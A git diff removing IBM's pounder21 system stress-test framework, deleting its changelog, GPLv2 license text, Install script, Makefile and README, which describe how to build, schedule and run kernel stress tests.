-- default/fast-tests.tar.gz: Updated to incorporate cpufreq test.
-- libpounder.sh: Added and rearranged variables as required for NFS
-  logging support.
-
-pounder21-2005-11-03:
-- fast-tests: Run mem_alloc
-- statslogging: Start the logfile tail.
-
-pounder21-2005-11-01:
-- README: pounder 2005-10-31
-- nfs_logging: Put log files in /crash/pounder-logs, not /crash.  Also use
-  uname-arch as a key, not just uname.
-- pounder: Add help() func and -r flag to remount log storage.
-
-
-pounder21-2005-10-28:
-- Sarunya's NFS logging support.
-- Sarunya's memory allocation stress test.
-- NFS test only removes what it copies (it was deleting
-  the per-host directory too).
-- IDE CDROM copy test only probes the first CDROM device
-  found in fstab... rather than grabbing both entries and
-  breaking.
-
-pounder21-2005-10-11:
-- Check CDROM presence when installing pounder. (patch by Sarunya)
-- Fix NFS test's diff failure detection. (patch by Darrick)
-- Clamp ramsnake so that it won't use more than 1/4 of the
-  address space so that i386-bigsmp boxes won't fail. (found by
-  Russ, patch by Darrick)
-
-pounder21-2005-09-20:
-- README: pounder 2005-09-20 release.
-- get_hw_info: Add missing '-l' to list partitions.
-- nfs: $SHORTHOST needs to extract from $HOSTNAME, not $SHORTHOST.  This was
-  causing nfs failures.
-- xterm_stress: Remove old log files before starting X server, copy the log
-  file if the X server failed to start, and kill the X server
-  if there's a failure to start.
-
-pounder21-2005-09-19:
-- get_hw_info: Record partition layout.
-- ramsnake: Kill program after 300s, not thirty!
-
-pounder21-2005-09-09:
-- checklatest: Download tarball to $POUNDER_HOME/../ so that untar goes in
-  the right place.
-- xterm_stress: Make script use kill -9 on X servers that ignore -4 after
-  180s and abort the script if it's still not dead after 360.
-
-pounder21-2005-08-31:
-- nfs: Strip domain bits (".ibm.com", ".west.foo.com", etc) out of the
-  $HOSTNAME, put that into $SHORTHOST, and use that on the NFS
-  server so that we cut down on the number of bogus dirs and crud
-  on that filesystem.
-
-pounder21-2005-08-26:
-- xbonkers: Program to make windows in an X session move all over the screen.
-  Add this to xterm_stress so that our poor window placement doesn't
-  much matter anymore.
-- xterm_stress: We're allowed 1 fatal error at the end because killing X
-  is a fatal error.
-- time_consistency: We're NOT allowed to excuse any errors.
-
-pounder21-2005-08-17:
-- More fixes to make sure the xterm_stress test dies when it should, an LTP refresh,
-  and a couple of patches designed to make pounder work better with the
-  mainline testing rig.  I haven't seen any problems with it, so I'm
-  pushing it out to the group to find more error cases.  :)
-
-pounder21-2005-08-16:
-- README: Add warning that changing the first line is a bad idea.
-- Install: Build helpers after building tests, so that the 00checklatest
-  script runs immediately.
-- checklatest: Compares this pounder's version (as defined as the sixth
-  column in README) against what's on the server.  If there's
-  a mismatch, ask the user if he wants to download the new one.
-- libpounder.sh: Add a $POUNDER_VERSION variable and location of
-  $POUNDER_HEAD.
-
-pounder21-2005-08-15:
-- NFS test: diff whatever it is we copy.  Hope that nobody's changing /usr...
-- X test: Use `startx' to start X with the appropriate KDE/GNOME session,
-  and start some OpenGL tests too.
-
-pounder21-2005-07-13:
-- Modify build scripts to use a download_from_sourceforge fxn that will retry
-  failed downloads with other SF mirrors.
-
-pounder21-2005-04-04:
-- No more bluebench.
-
-pounder21-2005-02-25:
-- Fix install failure on SLES8.
-- New test to stress concurrent memory access on shared memory
-  on numa-ish systems.  Well, any system with shared memory...
diff --git a/tools/pounder21/COPYING b/tools/pounder21/COPYING
deleted file mode 100644
index d60c31a..0000000
--- a/tools/pounder21/COPYING
+++ /dev/null
@@ -1,340 +0,0 @@
-		    GNU GENERAL PUBLIC LICENSE
-		       Version 2, June 1991
-
- Copyright (C) 1989, 1991 Free Software Foundation, Inc.
-     59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-			    Preamble
-
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change free
-software--to make sure the software is free for all its users.  This
-General Public License applies to most of the Free Software
-Foundation's software and to any other program whose authors commit to
-using it.  (Some other Free Software Foundation software is covered by
-the GNU Library General Public License instead.)  You can apply it to
-your programs, too.
-
-  When we speak of free software, we are referring to freedom, not
-price.  Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-this service if you wish), that you receive source code or can get it
-if you want it, that you can change the software or use pieces of it
-in new free programs; and that you know you can do these things.
-
-  To protect your rights, we need to make restrictions that forbid
-anyone to deny you these rights or to ask you to surrender the rights.
-These restrictions translate to certain responsibilities for you if you
-distribute copies of the software, or if you modify it.
-
-  For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must give the recipients all the rights that
-you have.  You must make sure that they, too, receive or can get the
-source code.  And you must show them these terms so they know their
-rights.
-
-  We protect your rights with two steps: (1) copyright the software, and
-(2) offer you this license which gives you legal permission to copy,
-distribute and/or modify the software.
-
-  Also, for each author's protection and ours, we want to make certain
-that everyone understands that there is no warranty for this free
-software.  If the software is modified by someone else and passed on, we
-want its recipients to know that what they have is not the original, so
-that any problems introduced by others will not reflect on the original
-authors' reputations.
-
-  Finally, any free program is threatened constantly by software
-patents.  We wish to avoid the danger that redistributors of a free
-program will individually obtain patent licenses, in effect making the
-program proprietary.  To prevent this, we have made it clear that any
-patent must be licensed for everyone's free use or not licensed at all.
-
-  The precise terms and conditions for copying, distribution and
-modification follow.
-
-		    GNU GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-  0. This License applies to any program or other work which contains
-a notice placed by the copyright holder saying it may be distributed
-under the terms of this General Public License.  The "Program", below,
-refers to any such program or work, and a "work based on the Program"
-means either the Program or any derivative work under copyright law:
-that is to say, a work containing the Program or a portion of it,
-either verbatim or with modifications and/or translated into another
-language.  (Hereinafter, translation is included without limitation in
-the term "modification".)  Each licensee is addressed as "you".
-
-Activities other than copying, distribution and modification are not
-covered by this License; they are outside its scope.  The act of
-running the Program is not restricted, and the output from the Program
-is covered only if its contents constitute a work based on the
-Program (independent of having been made by running the Program).
-Whether that is true depends on what the Program does.
-
-  1. You may copy and distribute verbatim copies of the Program's
-source code as you receive it, in any medium, provided that you
-conspicuously and appropriately publish on each copy an appropriate
-copyright notice and disclaimer of warranty; keep intact all the
-notices that refer to this License and to the absence of any warranty;
-and give any other recipients of the Program a copy of this License
-along with the Program.
-
-You may charge a fee for the physical act of transferring a copy, and
-you may at your option offer warranty protection in exchange for a fee.
-
-  2. You may modify your copy or copies of the Program or any portion
-of it, thus forming a work based on the Program, and copy and
-distribute such modifications or work under the terms of Section 1
-above, provided that you also meet all of these conditions:
-
-    a) You must cause the modified files to carry prominent notices
-    stating that you changed the files and the date of any change.
-
-    b) You must cause any work that you distribute or publish, that in
-    whole or in part contains or is derived from the Program or any
-    part thereof, to be licensed as a whole at no charge to all third
-    parties under the terms of this License.
-
-    c) If the modified program normally reads commands interactively
-    when run, you must cause it, when started running for such
-    interactive use in the most ordinary way, to print or display an
-    announcement including an appropriate copyright notice and a
-    notice that there is no warranty (or else, saying that you provide
-    a warranty) and that users may redistribute the program under
-    these conditions, and telling the user how to view a copy of this
-    License.  (Exception: if the Program itself is interactive but
-    does not normally print such an announcement, your work based on
-    the Program is not required to print an announcement.)
-
-These requirements apply to the modified work as a whole.  If
-identifiable sections of that work are not derived from the Program,
-and can be reasonably considered independent and separate works in
-themselves, then this License, and its terms, do not apply to those
-sections when you distribute them as separate works.  But when you
-distribute the same sections as part of a whole which is a work based
-on the Program, the distribution of the whole must be on the terms of
-this License, whose permissions for other licensees extend to the
-entire whole, and thus to each and every part regardless of who wrote it.
-
-Thus, it is not the intent of this section to claim rights or contest
-your rights to work written entirely by you; rather, the intent is to
-exercise the right to control the distribution of derivative or
-collective works based on the Program.
-
-In addition, mere aggregation of another work not based on the Program
-with the Program (or with a work based on the Program) on a volume of
-a storage or distribution medium does not bring the other work under
-the scope of this License.
-
-  3. You may copy and distribute the Program (or a work based on it,
-under Section 2) in object code or executable form under the terms of
-Sections 1 and 2 above provided that you also do one of the following:
-
-    a) Accompany it with the complete corresponding machine-readable
-    source code, which must be distributed under the terms of Sections
-    1 and 2 above on a medium customarily used for software interchange; or,
-
-    b) Accompany it with a written offer, valid for at least three
-    years, to give any third party, for a charge no more than your
-    cost of physically performing source distribution, a complete
-    machine-readable copy of the corresponding source code, to be
-    distributed under the terms of Sections 1 and 2 above on a medium
-    customarily used for software interchange; or,
-
-    c) Accompany it with the information you received as to the offer
-    to distribute corresponding source code.  (This alternative is
-    allowed only for noncommercial distribution and only if you
-    received the program in object code or executable form with such
-    an offer, in accord with Subsection b above.)
-
-The source code for a work means the preferred form of the work for
-making modifications to it.  For an executable work, complete source
-code means all the source code for all modules it contains, plus any
-associated interface definition files, plus the scripts used to
-control compilation and installation of the executable.  However, as a
-special exception, the source code distributed need not include
-anything that is normally distributed (in either source or binary
-form) with the major components (compiler, kernel, and so on) of the
-operating system on which the executable runs, unless that component
-itself accompanies the executable.
-
-If distribution of executable or object code is made by offering
-access to copy from a designated place, then offering equivalent
-access to copy the source code from the same place counts as
-distribution of the source code, even though third parties are not
-compelled to copy the source along with the object code.
-
-  4. You may not copy, modify, sublicense, or distribute the Program
-except as expressly provided under this License.  Any attempt
-otherwise to copy, modify, sublicense or distribute the Program is
-void, and will automatically terminate your rights under this License.
-However, parties who have received copies, or rights, from you under
-this License will not have their licenses terminated so long as such
-parties remain in full compliance.
-
-  5. You are not required to accept this License, since you have not
-signed it.  However, nothing else grants you permission to modify or
-distribute the Program or its derivative works.  These actions are
-prohibited by law if you do not accept this License.  Therefore, by
-modifying or distributing the Program (or any work based on the
-Program), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Program or works based on it.
-
-  6. Each time you redistribute the Program (or any work based on the
-Program), the recipient automatically receives a license from the
-original licensor to copy, distribute or modify the Program subject to
-these terms and conditions.  You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties to
-this License.
-
-  7. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues),
-conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot
-distribute so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you
-may not distribute the Program at all.  For example, if a patent
-license would not permit royalty-free redistribution of the Program by
-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Program.
-
-If any portion of this section is held invalid or unenforceable under
-any particular circumstance, the balance of the section is intended to
-apply and the section as a whole is intended to apply in other
-circumstances.
-
-It is not the purpose of this section to induce you to infringe any
-patents or other property right claims or to contest validity of any
-such claims; this section has the sole purpose of protecting the
-integrity of the free software distribution system, which is
-implemented by public license practices.  Many people have made
-generous contributions to the wide range of software distributed
-through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing
-to distribute software through any other system and a licensee cannot
-impose that choice.
-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
-  8. If the distribution and/or use of the Program is restricted in
-certain countries either by patents or by copyrighted interfaces, the
-original copyright holder who places the Program under this License
-may add an explicit geographical distribution limitation excluding
-those countries, so that distribution is permitted only in or among
-countries not thus excluded.  In such case, this License incorporates
-the limitation as if written in the body of this License.
-
-  9. The Free Software Foundation may publish revised and/or new versions
-of the General Public License from time to time.  Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
-Each version is given a distinguishing version number.  If the Program
-specifies a version number of this License which applies to it and "any
-later version", you have the option of following the terms and conditions
-either of that version or of any later version published by the Free
-Software Foundation.  If the Program does not specify a version number of
-this License, you may choose any version ever published by the Free Software
-Foundation.
-
-  10. If you wish to incorporate parts of the Program into other free
-programs whose distribution conditions are different, write to the author
-to ask for permission.  For software which is copyrighted by the Free
-Software Foundation, write to the Free Software Foundation; we sometimes
-make exceptions for this.  Our decision will be guided by the two goals
-of preserving the free status of all derivatives of our free software and
-of promoting the sharing and reuse of software generally.
-
-			    NO WARRANTY
-
-  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
-OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
-TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
-PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-REPAIR OR CORRECTION.
-
-  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES.
-
-		     END OF TERMS AND CONDITIONS
-
-	    How to Apply These Terms to Your New Programs
-
-  If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
-  To do so, attach the following notices to the program.  It is safest
-to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the program's name and a brief idea of what it does.>
-    Copyright (C) <year>  <name of author>
-
-    This program is free software; you can redistribute it and/or modify
-    it under the terms of the GNU General Public License as published by
-    the Free Software Foundation; either version 2 of the License, or
-    (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program is interactive, make it output a short notice like this
-when it starts in an interactive mode:
-
-    Gnomovision version 69, Copyright (C) year  name of author
-    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-    This is free software, and you are welcome to redistribute it
-    under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License.  Of course, the commands you use may
-be called something other than `show w' and `show c'; they could even be
-mouse-clicks or menu items--whatever suits your program.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the program, if
-necessary.  Here is a sample; alter the names:
-
-  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-  `Gnomovision' (which makes passes at compilers) written by James Hacker.
-
-  <signature of Ty Coon>, 1 April 1989
-  Ty Coon, President of Vice
-
-This General Public License does not permit incorporating your program into
-proprietary programs.  If your program is a subroutine library, you may
-consider it more useful to permit linking proprietary applications with the
-library.  If this is what you want to do, use the GNU Library General
-Public License instead of this License.
diff --git a/tools/pounder21/Install b/tools/pounder21/Install
deleted file mode 100755
index 6fb3a8f..0000000
--- a/tools/pounder21/Install
+++ /dev/null
@@ -1,151 +0,0 @@
-#!/bin/bash
-
-# Download pounder components and build them.
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-source libpounder.sh
-
-export USE_CACHE=1
-
-# do we actually _have_ a cache server?
-if [ -z "$POUNDER_CACHE" -o "$POUNDER_CACHE" == "0" ]; then
-	export USE_CACHE=0
-fi
-
-#check utilities needed to run the tests before getting started.
-#If you test uses something else or a build fails add
-#the command to the list manually.
-COMMANDS="make g++ lex gcc python wget sudo diff patch egrep rm echo test which cp mkdir"
-MISSING_TOOLS=""
-echo -en "Looking for tools..."
-for cmd in $COMMANDS
-do
-	echo -en "$cmd "
-	if which $cmd > /dev/null
-	then
-		true;
-	else
-		MISSING_TOOLS="$cmd $MISSING_TOOLS"
-	fi
-done
-
-echo .
-
-if [ -n "$MISSING_TOOLS" ]; then
-	echo "Please install these tools: $MISSING_TOOLS."
-	exit 1
-fi
-
-echo "All tools were found."
-
-# Parse arguments
-while getopts n? o
-do
-	case "$o" in
-		n) echo "Not using tarball cache."; export USE_CACHE=0;;
-	esac
-done
-
-# Set up optdir
-mkdir -p "$POUNDER_OPTDIR"
-if [ ! -d "$POUNDER_OPTDIR" ]; then
-	echo "Could not create $POUNDER_OPTDIR; aborting."
-	exit 1
-fi
-
-UNPACKED=0
-
-while [ "$UNPACKED" -lt 1 ]; do
-	# Unpack default test configuration?
-	SCHEDULERS=`ls $POUNDER_HOME/schedulers | awk -F"-tests.tar.gz" '{print $1}'`
-	echo "WHICH TEST SCHEDULER SETUP DO YOU WANT TO UNPACK?"
-	echo "[Choose from:"
-	echo "$SCHEDULERS"
-	echo "[Or simply press ENTER for the default scheduler]"
-	echo -n "Scheduler selection: "
-	read f
-	if [ -z "$f" ]; then
-		SCHEDPACK="$DEFAULT_SCHEDPACK"
-	else
-		SCHEDPACK="$f"
-	fi
-
-	rm -rf tests/*
-
-	tar -xzvf "$POUNDER_HOME/schedulers/$SCHEDPACK-tests.tar.gz"
-
-	if [ "$?" -ne 0 ]; then
-		echo "Unable to untar $SCHEDPACK-tests.tar.gz; please try again."
-	else
-		echo "Untarred $SCHEDPACK-tests.tar.gz successfully."
-		UNPACKED=1
-	fi
-done
-
-echo -en "Would you like to automate skipping of failed subtests? (subtests that failed to build will automatically be removed from test scheduler) [y/n]? "
-read f
-if [ "$f" == "y" -o "$f" == "Y" ]; then
-	AUTO_SKIP=1
-else
-	AUTO_SKIP=0
-fi
-
-# start builds...
-for i in $BUILDS
-do
-	if [ "$i" = "CVS" ]; then
-		continue
-	fi
-	if [ -x "build_scripts/$i" ]; then
-		FOUND=`find $POUNDER_HOME/tests -name *$i`
-		if [ -n "$FOUND" ]; then
-			"build_scripts/$i" $*
-			BUILD_ERR=$?
-			if [ "$BUILD_ERR" -ne 0 ]; then
-				if [ $AUTO_SKIP -eq 0 ]; then
-					echo -en "$i build failed with Error $BUILD_ERR. If this is a subtest, would you like to skip it [y/n]? "
-					read f
-					if [ "$f" == "y" -o "$f" == "Y" ]; then
-                        			rm `find $POUNDER_HOME/tests -name *$i` > /dev/null 2>&1
-						if [ "$?" -ne 0 ]; then
-							echo "Failed to remove $i from test scheduler. $i is either not a subtest included in $SCHEDPACK-tests.tar.gz or is incorrectly defined in $POUNDER_HOME/tests (See SCHEDULER for naming rules if this is the case)."
-							echo -en "Skip anyway? [y/n] "
-							read f
-							if [ "$?" == "y" -o "$f" == "Y" ]; then
-								exit 0
-							elif [ "$f" == "n" -o "$f" == "N" -o -z "$f" ]; then
-								exit 1
-							fi
-						fi
-                			elif [ "$f" == "n" -o "$f" == "N" -o -z "$f" ]; then
-						echo "Exiting install ..."
-						exit 1
-					fi
-				else
-					rm `find ./tests -name *$i` > /dev/null 2>&1
-				fi
-			fi
-		fi
-	fi
-done
-
-# build our little helper program
-make helpers
-
-echo Pounder is done building. ENJOY!
diff --git a/tools/pounder21/Makefile b/tools/pounder21/Makefile
deleted file mode 100644
index 70f945b..0000000
--- a/tools/pounder21/Makefile
+++ /dev/null
@@ -1,72 +0,0 @@
-# Quickie makefile to (sort of) automate various pounder tasks.
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-# Quickie makefile to do pounder stuff.
-NAME=ltpounder
-CFLAGS=-O3 -Wall -g
-HELPERS=timed_loop infinite_loop run-helper fancy_timed_loop
-
-install:;
-	./Install
-
-helpers: $(HELPERS)
-
-fancy_timed_loop: fancy_timed_loop.c debug.o
-	$(CC) $(CFLAGS) -o fancy_timed_loop fancy_timed_loop.c debug.o
-
-timed_loop: timed_loop.c debug.o
-	$(CC) $(CFLAGS) -o timed_loop timed_loop.c debug.o
-
-infinite_loop: infinite_loop.c debug.o
-	$(CC) $(CFLAGS) -o infinite_loop infinite_loop.c debug.o
-
-run-helper: run.c debug.o proclist.o
-	$(CC) $(CFLAGS) -o run-helper run.c debug.o proclist.o
-
-srctar:;
-	cd ../../../; make clean; tar -cvzf $(NAME)-`date '+%Y-%m-%d'`.src.tar.gz --exclude '*CVS*' $(NAME)
-
-bintar:;
-	echo "Making binary tarball for" `uname -m` "platform."
-	./Install
-	cd ../../../; tar -czf $(NAME)-`date '+%Y-%m-%d'`.`uname -m`.tar.gz $(NAME) --exclude='*CVS*'
-
-helpers_clean:;
-	rm -rf $(HELPERS) *.o
-
-# Clean out all cruft from a pounder run
-clean: helpers_clean
-	./pounder -u
-	if [ -d opt ]; then cd opt; for i in *; do if [ -d $$i ]; then cd $$i; make clean; cd -; fi; done; fi;
-	cd src; for i in *; do if [ -d $$i ]; then cd $$i; make clean; cd -; fi; done;
-	rm -rf tmp pounder.pid
-
-# Put everything back as it was when this tarball was unpacked.
-mrclean: helpers_clean;
-	./pounder -u
-	rm -rf opt log run-helper infinite_loop timed_loop debug.o tmp proclist.o
-	find src/ -name Makefile | while read f; do cd `dirname $$f`; $(MAKE) clean; cd -; done;
-	rm -rf `find tests/* 2>/dev/null | grep -v CVS`
-	rm -rf pounder.pid
-
-distclean: mrclean;
-
-
-testtar:;
-	tar -cvzf default-tests.tar.gz tests/D* tests/T*
diff --git a/tools/pounder21/README b/tools/pounder21/README
deleted file mode 100644
index a016be8..0000000
--- a/tools/pounder21/README
+++ /dev/null
@@ -1,239 +0,0 @@
-This is pounder30 as of 2011-08-09.  Copyright (C) 2003-2011 IBM.
-(Do not delete top line. It is used for version checking.)
-
-It would be a good idea to read this README file and the SCHEDULER and
-CONFIGURATION files (in the doc/ directory) prior to dabbling with pounder!
-
-Licensing
-=========
-All files in this tarball are licensed under the GPL.  Please see
-the file COPYING for more details.
-
-Contents
-========
-1. Overview
-2. Getting Started
-3. Files and Directories
-4. The Install Script
-5. Configuration
-6. The Pounder Script
-7. Credits
-
-Overview
-========
-Pounder provides a framework for building, running, and logging results
-for user-defined sets of tests.  Almost any test or test suite may be run
-as a subtest from within this framework, including the LTP test suite.
-(For more guidelines on building, scheduling, and running user-defined
-subtests, see doc/SCHEDULER)
-
-Getting Started
-===============
-
-Some sample test "schedules" comprised of various publically available
-tests, including LTP, are provided. The default test schedule illustrates
-how one might use pounder and is also a useful general purpose stress test.
-
-The following steps describe how to build and run the default schedule:
-
-	0. Install your operating system.  gcc and related development packages are
-		required to build pounder.  Missing dependencies will be identified at
-		build time. X development packages are needed for the included video test.
-
-	1. Download and unpack the LTP tarball.  You've already done this.
-
-	2. cd tools/pounder21/.  You've already done this too.
-
-	3. (optional) Set up a NFS server to export "/pounder21" (unless you wish
-		to skip nfs tests).
-
-	4. (optional) Modify any variables in "config" (see doc/CONFIGURATION for details).
-
-	5. Run "make install" to build tests for your machine
-		The Install script will attempt to build all the subtests in the
-		build_scripts folder. It will prompt you for the test scheduler
-		you want to unpack. Go ahead of type "default" or simply press
-		enter. It will then ask if you want to automate skipping of
-		failed subtests. If you enter "y", the script will automatically
-		delete any subtests from the test scheduler that fail to build.
-		If you enter "n", the script will prompt you each time a test
-		fails to build on whether or not to skip the failed test.
-
-	6. Run "./pounder" to start the tests (run "./pounder -h" for usage options).
-
-	7. Press ^C or run "./pounder -k" to stop the tests
-		The default scheduler runs tests for 48 hours, but you can set a new
-		duration in seconds by modifying config (see doc/CONFIGURATION for details)
-		or by using the -d option when starting pounder (./pounder -d <duration in seconds>)
-
-	8. Run "make mrclean" to restore everything to the state before the tarball
-		was unpacked (running this command will of course require you to
-		rebuild with "make install" for the next pounder run)
-
-See doc/SCHEDULER for details on defining the order in which tests are run, and whether they
-are run serially or in parallel.
-
-A few of the sample subtests have prerequisites:
-
-	- ide_cdrom_copy: Requires a CD with some data on it to be put in the drive.
-
-	- nfs, ping_nfs: Make sure you can mount an NFS server. Specify NFS in config
-		or run "./pounder -n ipaddr"
-
-	- xterm_stress: Make sure you can start X sessions. Enable X testing by setting
-		the DO_X_TESTS flag in config or run "./pounder -x"
-
-These tests can be skipped during the build phase if reqs aren't met though.
-
-Files and Directories
-=====================
-Below are brief descriptions of the files and directories found under the pounder/
-directory.
-
-Files:
-
-	CHANGELOG
-		- A log of changes made to pounder
-	COPYING
-		- GNU general public license info
-	Install
-		- The script used to build pounder
-	Makefile
-		- Makefile for pounder
-	debug.c
-		- Debugging routines used for logging pounder results
-	infinite_loop.c, timed_loop.c, fancy_timed_loop.c
-		- Procedures used to run tests repeatedly (see doc/SCHEDULER for more
-		information)
-	config
-		- Environment variables used for customizing pounder run are defined
-		here (see doc/CONFIGURATION for details)
-	libpounder.sh
-		- More environment variables defined here. Unlike the ones in config,
-		these are not meant to be modified by the user. (see doc/CONFIGURATION
-		for details)
-	nfs_logging
-		- Script that sets up user-defined NFS server for logging pounder output.
-		This script is executed when pounder is run with $NFS_LOGGING enabled in
-		config (see doc/CONFIGURATION) or when "pounder -r" is used. Normally when
-		running pounder, test output will be directly logged to $POUNDER_LOGLOCAL,
-		but with NFS logging enabled, output will instead be logged to user-specified
-		remote directory of an NFS server, $NFS_LOGSERVER:$NFS_LOGDIR.
-		See doc/CONFIGURATION for more information on these variables.
-	pounder
-		- Script used to run pounder. (see "The Pounder Script" section below
-		for details)
-	proclist.c
-		- Manages list of processes during pounder run.
-	README
-		- This file, which gives an overview of pounder's structure and how to
-		build and start pounder.
-	run.c
-		- Program to run the tests in the test scheduler.
-
-Directories:
-
-	build_scripts/
-		- Scripts to build your subtests go here. (see doc/SCHEDULER for details)
-	doc/
-		- Contains the SCHEDULER file, which describes how to create, build,
-		schedule, and run your own tests with pounder.
-		- Contains the CONFIGURATION file, which describes pounder's environment
-		variables.
-	schedulers/
-		- Test scheduler tarballs are in here. (see doc/SCHEDULER for details)
-	src/
-		- Sources packaged with pounder are in here.
-	test_repo/
-		- This directory is a copy of the default test scheduler. It provides an
-		example of what an test scheduler should look like after unpacking.
-	test_scripts/
-		- Scripts to run your subtests go here. (see doc/SCHEDULER for details)
-	tests/
-		- Symlinks to run the tests in a particular order. (see doc/SCHEDULER for
-		details)
-
-After running "make install," you will see three additional directories:
-
-	opt/
-		- Third party packages (LTP, kernel, etc) go here.
-	tmp/
-		- Temporary directory to hold files that a test needs.
-	log/
-		- Logs of output from pounder runs go here.
-
-Note that for the provided tests, third party test packages (bonnie, kernel, etc) aren't
-packaged with pounder. The build scripts should download them to opt/ (stored in
-$POUNDER_OPTDIR) and build them as necessary. The use of a cache might come in handy here
-(see doc/CONFIGURATION for details regarding the $POUNDER_CACHE variable).
-
-The Install Script
-==================
-The Install script has no options.  Run it to build whatever tests have been
-imported into the pounder package.
-
-Configuration
-=============
-See doc/CONFIGURATION documentation file for details.
-
-The Pounder Script
-==================
-The pounder script has the following syntax:
-
-Usage: ./pounder [-g logdir] [-x] [-d duration] [-n ipaddr] [-m max_failures] [-f] [-h|-u|-r|-k|-l|-e subtests|-i subtests|-c scheduler] [-s]
-
--h              Brings up this menu
--c scheduler    Creates a new test scheduler called scheduler-tests.tar.gz in the pounder/schedulers folder.
-                All subtests to be packaged with this scheduler must first be placed in the pounder/tests folder.
--x              Enable X stress tests.
--d duration     Run pounder for duration seconds.
--n ipaddr       Use ipaddr for NFS tests.
--f              Remove pounder pid file before running.
--u              Unmount NFS log storage.
--r              Remount NFS log storage.
--g logdir       Use logdir as the log directory. (You probably want -s too.)
--s              Store logs locally.
--l              List (both included and excluded) subtests that came with the test scheduler
--e subtests     Exclude subtests from next pounder run
--i subtests     Include previously excluded subtests in the next pounder run
--k              Kill pounder.
-
-run "./pounder" to run all subtests
-run "./pounder subtest" to run just one particular subtest
-        (example: ./pounder tests/T90ramp/D02build_kernel)
-
-Credits
-=======
-o Inspired by Sammy Benjamin (sammy@us.ibm.com).  None of his code remains
-  in this version of pounder today.
-o Modifications and additions by members of the LTC xSeries Kernel Team:
-    Darrick Wong (djwong@us.ibm.com)
-    Chris McDermott (lcm@us.ibm.com)
